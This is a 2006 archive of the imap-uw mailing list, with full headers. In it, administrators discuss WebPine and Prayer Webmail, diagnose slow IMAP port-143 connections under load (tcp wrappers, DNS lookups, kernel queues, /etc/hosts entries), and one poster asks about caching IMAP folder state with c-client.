Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JEtxs022638 for ; Mon, 9 Jan 2006 11:14:55 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JEsrm007124 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 9 Jan 2006 11:14:55 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JEso8027950 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:14:54 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (104.sub-70-203-118.myvzw.com [70.203.118.104]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JEVCY027239 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 9 Jan 2006 11:14:52 -0800 Date: Mon, 9 Jan 2006 11:14:28 -0800 From: Mark Crispin To: Don Hayward Subject: Re: [Imap-uw] Long delays & Connection refused In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 9 Jan 2006, Don Hayward wrote: > Is UW's WebPine available? Thanks. To the best of my knowledge, there is not yet a general release outside of UW; as far as I know, there are still some pending technical and adminstrative issues (licensing, etc.) that need to be resolved before any decision is made about a general release. I'm not directly in the loop on this, so your best bet for authoritative information would be to ask pine@cac.washington.edu to get on the list of people who are interested in being informed about WebPine distribution. I personally believe that WebPine is "way cool". It's been in production use at UW for a few years now. I know that there are other webmail products out there that hold static IMAP sessions, but I don't know any names. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 11:17:04 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 11:17:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JH4gJ026994 for ; Mon, 9 Jan 2006 11:17:04 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JH0su011035 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:17:01 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JGsrX001119 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 11:16:55 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JGsg9023152; Mon, 9 Jan 2006 11:16:54 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JGsgK023144 for ; Mon, 9 Jan 2006 11:16:54 -0800 Received: from mail98.messagelabs.com (mail98.messagelabs.com [216.82.244.147]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k09JG6K9014777 for ; Mon, 9 Jan 2006 11:16:51 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-11.tower-98.messagelabs.com!1136834162!40984150!3 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 24241 invoked from network); 9 Jan 2006 19:16:03 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-11.tower-98.messagelabs.com with SMTP; 9 Jan 2006 19:16:03 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 7F0A8209B; Mon, 9 Jan 2006 14:16:03 -0500 (EST) Date: Mon, 09 Jan 2006 14:16:01 -0500 From: Mark Sirota To: Ken.Koch@wustl.edu, imap-uw@u.washington.edu Subject: Re: [Imap-uw] Long delays & Connection refused Message-ID: <7A90353ADDA1E29ACB716A8B@marmaduke.net.isc.upenn.edu> In-Reply-To: References: X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On January 9, 2006 11:02:12 AM -0600 Ken.Koch@wustl.edu wrote: > During high load (about 18 imapd logins/second from a webmail system) we > start to get long delays when connecting to port 143. Sometimes, even a > connection refused when attempted from outside localhost. Delays > possibly range from 20 seconds to 2 minutes. When telneting to port 143 > from localhost, the delays are evident before the IMAP capabilities logo > splashes. After IMAP's banner is shown, everything seems fine. It's > before getting the banner that lags. Are you using tcp wrappers (tcpd) for imap? Might it be configured to do either ident or reverse DNS lookups? I'm guessing that either a firewall is dropping the ident queries rather than sending a TCP reset, or something's funky about the reverse lookup. The quickest way to test this theory is to eliminate tcp wrappers from inetd.conf on the imap line, and see if the problem instantly goes away. The quickest non-disruptive way to test this theory is to sniff the traffic. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 11:18:46 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 11:18:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JIk8A027098 for ; Mon, 9 Jan 2006 11:18:46 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JIjcs014782 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:18:45 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JIfoU029259 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 11:18:41 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JIf5V023661; Mon, 9 Jan 2006 11:18:41 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JIa1T023652 for ; Mon, 9 Jan 2006 11:18:36 -0800 Received: from mail108.messagelabs.com (mail108.messagelabs.com [216.82.255.115]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k09JI5U4018774 for ; Mon, 9 Jan 2006 11:18:34 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-5.tower-108.messagelabs.com!1136834283!42269454!3 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 19077 invoked from network); 9 Jan 2006 19:18:03 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-5.tower-108.messagelabs.com with SMTP; 9 Jan 2006 19:18:03 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 0DE39208D; Mon, 9 Jan 2006 14:18:02 -0500 (EST) Date: Mon, 09 Jan 2006 14:18:01 -0500 From: Mark Sirota To: Mark Crispin , Don Hayward Subject: Re: [Imap-uw] Long delays & Connection refused Message-ID: <3D1C91BB601F9AB4301D1C5F@marmaduke.net.isc.upenn.edu> In-Reply-To: References: X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On January 9, 2006 11:14:28 AM -0800 Mark Crispin wrote: > I know that there are other webmail products out there that hold static > IMAP sessions, but I don't know any names. The coolest is Prayer Webmail from the University of Cambridge. It uses HTTP/1.1 persistent connections from the web client to the web server, and holds open the IMAP connections on the back end. It's mind-blowingly fast for a webmail service, but currently somewhat lacking in functionality compared to the more mature products. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jan 9 11:21:58 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 11:21:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JLwUg027309 for ; Mon, 9 Jan 2006 11:21:58 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JLvOM014999 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 11:21:57 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JLptD028604 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 11:21:51 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JLpSd024751; Mon, 9 Jan 2006 11:21:51 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JLoaV024738 for ; Mon, 9 Jan 2006 11:21:50 -0800 Received: from aismail.wustl.edu (aismail.wustl.edu [128.252.95.36]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09JJnZF001249 for ; Mon, 9 Jan 2006 11:21:47 -0800 In-Reply-To: <7A90353ADDA1E29ACB716A8B@marmaduke.net.isc.upenn.edu> To: Mark Sirota Subject: Re: [Imap-uw] Long delays & Connection refused MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.4 March 27, 2005 Message-ID: From: Ken.Koch@wustl.edu Date: Mon, 9 Jan 2006 13:19:48 -0600 X-MIMETrack: Serialize by Router on AIS3/Systems/ais(Release 6.5.4|March 27, 2005) at 01/09/2006 01:21:47 PM, Serialize complete at 01/09/2006 01:21:47 PM X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __C230066_P5 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_HTML 0, __MIME_VERSION 0, __RATWARE_SIGNATURE_3_N1 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0570912268==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multipart message in MIME format. --===============0570912268== Content-Type: multipart/alternative; boundary="=_alternative 006A211C862570F1_=" This is a multipart message in MIME format. --=_alternative 006A211C862570F1_= Content-Type: text/plain; charset="US-ASCII" We are not using tcp wrappers. Plain old Solaris inetd. We have excellent response time throughout normal load. It is only during high load that port 143 lags. I can even telnet localhost 143 and have a delay upward of 50 seconds before getting any kind of imapd banner. If it were network related, I would think localhost would be exempt. Any other ideas? Sniffing the traffic coming in during a problem state shows the initial SYN reaching the port, but absolutely no response going back. This type of evidence is what's leading me to some kind of kernel related queue that is backloged or dropping new attempts. ============================= Ken Koch Information Systems 314.935.8315 ============================= Mark Sirota 01/09/2006 01:16 PM To Ken.Koch@wustl.edu, imap-uw@u.washington.edu cc Subject Re: [Imap-uw] Long delays & Connection refused --On January 9, 2006 11:02:12 AM -0600 Ken.Koch@wustl.edu wrote: > During high load (about 18 imapd logins/second from a webmail system) we > start to get long delays when connecting to port 143. Sometimes, even a > connection refused when attempted from outside localhost. Delays > possibly range from 20 seconds to 2 minutes. When telneting to port 143 > from localhost, the delays are evident before the IMAP capabilities logo > splashes. After IMAP's banner is shown, everything seems fine. It's > before getting the banner that lags. Are you using tcp wrappers (tcpd) for imap? Might it be configured to do either ident or reverse DNS lookups? I'm guessing that either a firewall is dropping the ident queries rather than sending a TCP reset, or something's funky about the reverse lookup. The quickest way to test this theory is to eliminate tcp wrappers from inetd.conf on the imap line, and see if the problem instantly goes away. The quickest non-disruptive way to test this theory is to sniff the traffic. Mark --=_alternative 006A211C862570F1_= Content-Type: text/html; charset="US-ASCII"
    We are not using tcp wrappers.  Plain old Solaris inetd.  

    We have excellent response time throughout normal load.  It is only during high load that port 143 lags.  I can even telnet localhost 143 and have a delay upward of 50 seconds before getting any kind of imapd banner.  If it were network related, I would think localhost would be exempt.  Any other ideas?

    Sniffing the traffic coming in during a problem state shows the initial SYN reaching the port, but absolutely no response going back.  This type of evidence is what's leading me to some kind of kernel related queue that is backloged or dropping new attempts.

    =============================
    Ken Koch
    Information Systems
    314.935.8315
    =============================


    Mark Sirota <msirota@isc.upenn.edu>

    01/09/2006 01:16 PM

    To
    		Ken.Koch@wustl.edu, imap-uw@u.washington.edu
    cc
    Subject
    		Re: [Imap-uw] Long delays & Connection refused





    --On January 9, 2006 11:02:12 AM -0600 Ken.Koch@wustl.edu wrote:
    > During high load (about 18 imapd logins/second from a webmail system) we
    > start to get long delays when connecting to port 143.  Sometimes, even a
    > connection refused when attempted from outside localhost.  Delays
    > possibly range from 20 seconds to 2 minutes.  When telneting to port 143
    > from localhost, the delays are evident before the IMAP capabilities logo
    > splashes.  After IMAP's banner is shown, everything seems fine.  It's
    > before getting the banner that lags.

    Are you using tcp wrappers (tcpd) for imap?  Might it be configured to do
    either ident or reverse DNS lookups?  I'm guessing that either a firewall
    is dropping the ident queries rather than sending a TCP reset, or
    something's funky about the reverse lookup.

    The quickest way to test this theory is to eliminate tcp wrappers from
    inetd.conf on the imap line, and see if the problem instantly goes away.
    The quickest non-disruptive way to test this theory is to sniff the
    traffic.

    Mark
    --=_alternative 006A211C862570F1_=-- --===============0570912268== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============0570912268==-- From pinedev@shivax2.cac.washington.edu Mon Jan 9 12:12:51 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jan 2006 12:12:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCplZ030509 for ; Mon, 9 Jan 2006 12:12:51 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCoL3015330 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 12:12:50 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCkrT000357 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Jan 2006 12:12:46 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCk4R007838; Mon, 9 Jan 2006 12:12:46 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCjnq007814 for ; Mon, 9 Jan 2006 12:12:45 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCjJm017049 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 9 Jan 2006 12:12:45 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCi7d018600 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Jan 2006 12:12:44 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (104.sub-70-203-118.myvzw.com [70.203.118.104]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k09KCGQZ016227 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 9 Jan 2006 12:12:42 -0800 Date: Mon, 9 Jan 2006 12:12:12 -0800 From: Mark Crispin To: Michael Russell Subject: Re: [Imap-uw] Long delays & Connection refused In-Reply-To: <43C2C17E.4080303@mathtech.com> Message-ID: References: <43C2C17E.4080303@mathtech.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 9 Jan 2006, Michael Russell wrote: > As I started tracing this, I > found that an attempt to resolve the private IP address (192.168.10.11) of > our mail server was being done by the imap server and this attempt was > timing out. The private IP was NOT in the /etc/hosts file and we do not > have our own DNS servers. Yup, that's the sort of mysterious problem that can cause one to scratch one's head for quite a long while. In general, you should always have an /etc/hosts entry for the local site and not use the DNS for local lookups. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jan 11 08:58:02 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Jan 2006 08:58:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BGw2bW014265 for ; Wed, 11 Jan 2006 08:58:02 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BGw0o8020142 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Jan 2006 08:58:01 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BGvtvg027099 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Jan 2006 08:57:55 -0800 Message-Id: <200601111657.k0BGvtvg027099@mxout7.cac.washington.edu> Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BGvtnj014587; Wed, 11 Jan 2006 08:57:55 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BGvs5f014579 for ; Wed, 11 Jan 2006 08:57:54 -0800 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.19]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BGvPJH008565 for ; Wed, 11 Jan 2006 08:57:49 -0800 Received: from smtp.qub.ac.uk ([143.117.143.71]) by mailhub2.qub.ac.uk with esmtp (Exim 4.51) id 1EwjHm-0007UI-5f for imap-uw@u.washington.edu; Wed, 11 Jan 2006 16:57:22 +0000 Received: from a9203.cc.qub.ac.uk ([143.117.9.203] helo=clive) by smtp.qub.ac.uk with esmtp (Exim 4.54) id 1EwjHm-0005Dy-1J for imap-uw@u.washington.edu; Wed, 11 Jan 2006 16:57:22 +0000 From: "Clive McDowell" To: Subject: RE: [Imap-uw] Long delays & Connection refused Date: Wed, 11 Jan 2006 16:57:22 -0000 Organization: The Queen's University of Belfast MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYVUqz2YNUZqmFXQDuPTNnj0sMhrABfSYdg In-Reply-To: <3D1C91BB601F9AB4301D1C5F@marmaduke.net.isc.upenn.edu> X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > The coolest is Prayer Webmail from the University of > Cambridge. It uses > HTTP/1.1 persistent connections from the web client to the > web server, and > holds open the IMAP connections on the back end. It's > mind-blowingly fast > for a webmail service, but currently somewhat lacking in functionality > compared to the more mature products. > > I'd like to second that. We use it here at Queen's University, Belfast. I'd be interested in WebPine for comparison though. Clive McDowell Information Services The Queen's University of Belfast _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jan 11 11:14:43 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Jan 2006 11:14:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BJEhUj023807 for ; Wed, 11 Jan 2006 11:14:43 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BJEgXM031805 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Jan 2006 11:14:42 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BJEc9n025431 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Jan 2006 11:14:39 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BJEc5m024572; Wed, 11 Jan 2006 11:14:38 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BJESVB024179 for ; Wed, 11 Jan 2006 11:14:28 -0800 Received: from rs27.luxsci.com (rs27.luxsci.com [66.216.127.24]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BJEOVC031727 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Jan 2006 11:14:25 -0800 Received: from [127.0.0.1] (c-65-96-147-23.hsd1.ma.comcast.net [65.96.147.23]) (authenticated bits=0) by rs27.luxsci.com (8.13.5/8.13.5) with ESMTP id k0BJENsj015942 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Wed, 11 Jan 2006 13:14:24 -0600 Message-ID: <43C5590E.90804@luxsci.com> Date: Wed, 11 Jan 2006 14:14:22 -0500 From: Erik Kangas User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 CC: imap-uw@u.washington.edu References: <43AB3A78.9010201@soe.ucsc.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Synchronizing imap folder data using cclient X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, This is a pretty simple question. I am considering writing some software to cache imap message/header data. In thinking about this, I have been going through the Perl Mail::Cclient docs for ways I can determine easily if there are changes: new messages, deleted messages, messages with changed flags. I am using mbx formatted folders. New messages: compare current vs saved "uidnext" can be examined to see if there have been new messages. Deleted messages: I am not sure how to detect this short of getting a list of all uids and comparing with my local list and removing missing ones. Messages with changed flags: I am not sure how to do this without fetching the flags for all messages and updating my local cache. Are there better ways of doing these things with imap/cclient -- the overall goal is to ease the server workload as much as possible through caching. If we have to re-scan headers 